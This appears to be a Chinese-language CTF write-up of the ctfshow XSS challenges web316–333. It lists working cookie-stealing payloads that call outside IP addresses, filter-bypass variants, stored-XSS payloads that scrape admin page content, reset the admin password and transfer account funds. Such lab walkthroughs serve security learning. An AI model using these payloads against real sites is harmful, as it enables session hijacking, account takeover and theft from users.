ctfshow xss模块

web316

试了好久 写文件 nc x到的总是自己 bot点击的cookie接收不到

最后还是用python监听http服务

能够XSS的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
外带

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<img src='' onerror=location.href='http://118.195.161.220:39543/'+document.cookie>

image-20250720100948632

Cookie里有 flag=you%20are%20not%20admin%20no%20flag

通过网络请求获取管理员cookie 要用到服务器来接收 利用href请求 和 document.cookie 来获取cookie

本地开启http服务 python3 -m http.server 80

image-20250725095351231

1
<script>location.href="http://ip:80/"+document.cookie</script>

略微等待一会 等bot那边点击 传回cookie

web317

过滤了script标签

用img

1
<img src='' onerror=location.href='http://ip:80/'+document.cookie>

web318

过滤img,用body

1
<body onload="window.open('http://:80/'+document.cookie)">

image-20250725100738276

web319

body标签还是可以的 同上

web320

过滤了空格 用%09或者/替换

1
2
<body/onload="window.open('http://ip:80/'+document.cookie)">
<body%09onload="window.open('http://ip:80/'+document.cookie)">

web321

不能用%09了

可以用/绕过

1
<body/onload="window.open('http://ip:80/'+document.cookie)">

web322

上面payload可以用

web323 324 325 326

都可以/绕过

web327

来到了存储型xss

收件人是admin就可以了

1
<script>location.href="http://121.40.70.148:80/"+document.cookie</script>

image-20250725104341222

web328

注册一个用户登陆

1
用户名随便   密码<script>location.href="http://ip:80/"+document.cookie</script>

监听可以得到管理员cookie

image-20250725112117024

修改cookie 伪造admin用户登录

在用户管理界面可以看到flag

image-20250725112215628

web329

cookie设置了有效期拿到cookie时就已经失效了 需要直接拿用户管理界面的内容

当管理员访问用户管理页面时,xss直接将这个页面的内容(flag)拿出来

payload:迭代所有行,如果行包含ctfshow关键字,那么将该值给到远程服务器,进而获得flag。

1
<script>$('.layui-table-cell').each(function(index,value){{if(value.innerHTML.indexOf('ctfshow') > -1){window.open("http://121.40.70.148:80/"+value.innerHTML);}}})</script>

image-20250725113425423

web330

可以看到有一个修改密码的界面

抓包可以看到api接口

image-20250725150815526

借此修改管理员密码 管理员用户是127.0.0.1就可以访问到

1
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

测试发现密码的地方会执行xss代码 所以注册一个用户密码为上述payload 登录

再用密码 123 登录到管理员账户 用户管理界面看到flag

image-20250725151211827

登录之后会重定向到http://127.0.0.1/api/change.php?p=123

如果太快看不到 就用bp拦截

web331

image-20250725151941905

这里修改密码的界面是post传参

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

$.ajax() 是 jQuery 用于发起 AJAX 请求的方法。

url: 'api/change.php' 指定请求的目标 URL(api/change.php)。

type: 'post' 设置请求类型为 POST。

data: { p: 123 } 是请求的发送数据,这里以键值对的形式传递参数,p 的值为 123。

其他跟上题一样 这里没有发生重定向 可以直接查看

image-20250725152251232

web332

image-20250725154755962

要购买flag

先注册一个普通账户 例如用户名 aa 密码 aa 不要注册单字符的用户 单字符的用户购买flag会回显先登录 不清楚为什么

再以payload注册一个账户

1
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'aa',a:10000}});</script>

登录之后他就会每隔一段时间自动执行一次该xss并往a账户转账10000

转账页面post传参

image-20250725155039242

上述操作之后就有money了 就可以直接购买flag了

image-20250725155419944

image-20250725160745252

web333

同上